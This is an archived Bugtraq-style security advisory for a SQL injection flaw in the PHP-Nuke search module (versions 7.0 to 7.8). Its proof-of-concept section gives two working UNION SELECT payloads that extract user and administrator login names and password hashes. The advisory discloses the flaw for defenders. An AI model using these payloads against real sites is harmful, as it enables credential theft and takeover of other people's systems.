PHPNuke Search Module SQL Injection Vulnerability
BID:15421
Info
PHPNuke Search Module SQL Injection Vulnerability
| Bugtraq ID: | 15421 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 15 2005 12:00AM |
| Updated: | May 16 2006 10:24PM |
| Credit: | [email protected] is credited with the discovery of this vulnerability. |
| Vulnerable: |
Francisco Burzi PHP-Nuke 7.8 Francisco Burzi PHP-Nuke 7.7 Francisco Burzi PHP-Nuke 7.6 Francisco Burzi PHP-Nuke 7.3 Francisco Burzi PHP-Nuke 7.3 Francisco Burzi PHP-Nuke 7.2 Francisco Burzi PHP-Nuke 7.1 Francisco Burzi PHP-Nuke 7.0 FINAL |
| Not Vulnerable: | |
Discussion
PHPNuke Search Module SQL Injection Vulnerability
PHPNuke is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
PHPNuke is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Exploit / POC
PHPNuke Search Module SQL Injection Vulnerability
No exploit is required.
The following proof-of-concept search-field data is available:
s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/* -> users passwords and logins
s%') UNION SELECT 0,pwd,name,aid,0,0,0,0,0,0 FROM nuke_authors/* -> nuke_authors passwords and logins
Proof-of-concept examples are available:
No exploit is required.
The following proof-of-concept search-field data is available:
s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/* -> users passwords and logins
s%') UNION SELECT 0,pwd,name,aid,0,0,0,0,0,0 FROM nuke_authors/* -> nuke_authors passwords and logins
Proof-of-concept examples are available:
Solution / Fix
PHPNuke Search Module SQL Injection Vulnerability
Solution:
Unconfirmed reports indicate that a vendor patch is available to address this issue. Users are advised to contact the vendor for further information.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Unconfirmed reports indicate that a vendor patch is available to address this issue. Users are advised to contact the vendor for further information.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
PHPNuke Search Module SQL Injection Vulnerability
References:
References: